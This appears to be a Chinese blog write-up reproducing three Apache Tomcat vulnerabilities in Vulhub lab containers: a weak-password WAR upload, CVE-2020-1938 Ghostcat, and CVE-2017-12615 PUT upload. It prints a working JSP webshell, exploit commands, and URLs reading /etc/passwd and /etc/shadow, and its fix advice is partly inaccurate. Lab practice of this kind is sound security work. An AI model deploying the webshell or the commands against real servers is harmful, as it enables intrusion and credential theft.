Apache Tomcat 漏洞復(fù)現(xiàn)
1. Tomcat7 弱密碼和后端 Getshell 漏洞
鏈接地址:Vulhub - Docker-Compose file for vulnerability environment
1.1 漏洞描述
說(shuō)明 | 內(nèi)容 |
---|---|
漏洞編號(hào) | |
漏洞名稱(chēng) | Tomcat7+ Weak Password && Backend Getshell Vulnerability |
漏洞評(píng)級(jí) | 高危 |
影響范圍 | 8.0 |
漏洞描述 | Tomcat 支持通過(guò)后端部署 war 文件,所以我們可以直接將 webshell 放入 Web 目錄下。為了訪問(wèn)后端,需要權(quán)限。 |
修復(fù)方案 | 打補(bǔ)丁,上設(shè)備,升級(jí)組件 |
1.2 漏洞復(fù)現(xiàn)
環(huán)境啟動(dòng)
訪問(wèn)頁(yè)面
點(diǎn)擊管理控制平臺(tái)
用戶(hù)名和密碼都是tomcat
進(jìn)入到了tomcat后臺(tái)項(xiàng)目管理控制臺(tái)
如果黑客攻擊者拿到這個(gè)控制臺(tái),就會(huì)有很大的風(fēng)險(xiǎn)。甚至可以將大型木馬打包成WAR包進(jìn)行部署。
1.3 漏洞利用
1.3.1 jsp小馬
創(chuàng)建一個(gè)jsp木馬
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
然后將其打包成WAR包
然后及將打包好的WAR包進(jìn)行上傳即可。
上傳成功
訪問(wèn)頁(yè)面
上傳的木馬中寫(xiě)了密碼為023再次訪問(wèn),然后使用ls命令來(lái)查看當(dāng)前目錄下有哪些文件。
查看權(quán)限
env打印環(huán)境變量
1.3.2 jsp大馬
Webshell:138shell update · tennc/webshell@6a88226 (github.com)。
利用我們準(zhǔn)備好的大馬,將其打包成war包后進(jìn)行上傳
上傳成功
訪問(wèn)成功
1.4 安全加固
- 密碼需要有字符類(lèi)型要求和長(zhǎng)度
- 增加驗(yàn)證碼認(rèn)證或口令認(rèn)證等機(jī)制
- 文件上傳點(diǎn)增加上傳限制
2. Aapache Tomcat AJP任意文件讀取/包含漏洞
鏈接地址:Vulhub - Docker-Compose file for vulnerability environment
2.1 漏洞描述
說(shuō)明 | 內(nèi)容 |
---|---|
漏洞編號(hào) | CVE-2020-1938 |
漏洞名稱(chēng) | Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability |
漏洞評(píng)級(jí) | 高危 |
影響范圍 | 9.0.30 |
漏洞描述 | 由于Tomcat AJP協(xié)議中的缺陷,攻擊者可以讀取或包含Tomcat的Webapp目錄中的任何文件。例如,攻擊者可以讀取 Web 應(yīng)用配置文件或源代碼。此外,如果目標(biāo)Web應(yīng)用具有文件上傳功能,攻擊者可以通過(guò)Ghostcat漏洞利用文件包含漏洞在目標(biāo)主機(jī)上執(zhí)行惡意代碼。 |
修復(fù)方案 | 打補(bǔ)丁,上設(shè)備,升級(jí)組件 |
2.1 漏洞復(fù)現(xiàn)
環(huán)境啟動(dòng)
2.2 漏洞利用工具
下載漏洞利用工具鏈接:github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi。
使用工具:
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml
文件讀取成功
查看讀取的web.xml文件位置
發(fā)現(xiàn)和我們之前讀取的文件內(nèi)容一致
測(cè)試是否還可以讀取其他的文件
我們可以在WEB-INF目錄中創(chuàng)建一個(gè)wuhu.txt文件并在里面輸入內(nèi)容
然后嘗試讀取該文件內(nèi)容
最后驗(yàn)證得出,這里讀取文件是有限制的,只能讀取ROOT目錄下的文件
2.4 修復(fù)建議
- 官方網(wǎng)站下載新版本進(jìn)行升級(jí)。
- 直接關(guān)閉 AJP Connector,或?qū)⑵浔O(jiān)聽(tīng)地址改為僅監(jiān)聽(tīng)本機(jī) localhost。
- 若需使用 Tomcat AJP 協(xié)議,可根據(jù)使用版本配置協(xié)議屬性設(shè)置認(rèn)證憑證。
3. 通過(guò) PUT 方法的 Tomcat 任意寫(xiě)入文件漏洞
鏈接地址:Vulhub - Docker-Compose file for vulnerability environment。
3.1 漏洞描述
說(shuō)明 | 內(nèi)容 |
---|---|
漏洞編號(hào) | CVE-2017-12615 |
漏洞名稱(chēng) | Tomcat Arbitrary Write-file Vulnerability through PUT Method |
漏洞評(píng)級(jí) | 高危 |
影響范圍 | 8.5.19 |
漏洞描述 | 當(dāng)存在漏洞的Tomcat運(yùn)行在Windows/Linux主機(jī)上, 且啟用了HTTP PUT請(qǐng)求方法( 例如, 將readonly初始化參數(shù)由默認(rèn)值設(shè)置為false) , 攻擊者將有可能可通過(guò)精心構(gòu)造的攻擊請(qǐng)求數(shù)據(jù)包向服務(wù)器上傳包含任意代碼的JSP的webshell文件,JSP文件中的惡意代碼將能被服務(wù)器執(zhí)行, 導(dǎo)致服務(wù)器上的數(shù)據(jù)泄露或獲取服務(wù)器權(quán)限 |
修復(fù)方案 | 打補(bǔ)丁,上設(shè)備,升級(jí)組件 |
3.2 漏洞復(fù)現(xiàn)
環(huán)境啟動(dòng)
訪問(wèn)頁(yè)面
漏洞檢測(cè)
使用nuclei漏洞檢測(cè)工具
./nuclei -u 192.168.188.185
3.3 漏洞利用
瀏覽器路徑訪問(wèn)
http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
%2F表示/
。
頁(yè)面顯示出來(lái)etc/passwd文件內(nèi)容。
測(cè)試是否可以查看shadow文件
http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow
測(cè)試是否可以執(zhí)行命令文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-703405.html
http://127.0.0.1/poc.jsp?cmd=whoami
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-703405.html
3.4 修復(fù)建議
- 禁用 HTTP PUT 方法:為了防止該漏洞的利用,可以在 Tomcat 配置文件中設(shè)置 “readonly” 屬性,禁用 HTTP PUT 方法。例如,在 server.xml 文件中,可以將 Connector 元素中的 allowTrace 屬性設(shè)置為 false,禁用 TRACE 和 PUT 方法。
- 過(guò)濾特殊字符:應(yīng)用程序應(yīng)該過(guò)濾掉特殊字符,如 “…/” 或 “%2e%2e%2f”,以防止攻擊者通過(guò)遍歷路徑來(lái)寫(xiě)入惡意文件。可以使用字符過(guò)濾器或正則表達(dá)式,限制輸入數(shù)據(jù)的格式和內(nèi)容。
- 路徑驗(yàn)證和權(quán)限控制:應(yīng)用程序應(yīng)該對(duì)上傳文件的路徑進(jìn)行驗(yàn)證,并限制其訪問(wèn)權(quán)限??梢詫⑸蟼魑募4嬖谔囟ǖ哪夸浿?,并確保其他用戶(hù)無(wú)法訪問(wèn)該目錄。此外,還應(yīng)該對(duì)上傳的文件進(jìn)行掃描和檢測(cè),以防止上傳惡意文件。
- 及時(shí)更新軟件版本:Tomcat 團(tuán)隊(duì)已經(jīng)意識(shí)到 PUT 方法任意寫(xiě)入文件漏洞,并提供了修復(fù)版本。因此,建議立即更新受影響的 Tomcat 版本,并實(shí)施相應(yīng)的補(bǔ)丁程序。
- 啟用安全模式:可以通過(guò)啟用 Tomcat 的安全模式來(lái)減少漏洞利用的機(jī)會(huì)。安全模式可以限制 Tomcat 的訪問(wèn)權(quán)限,并增加對(duì) Web 應(yīng)用程序的監(jiān)控和控制。
到了這里,關(guān)于Apache Tomcat 漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!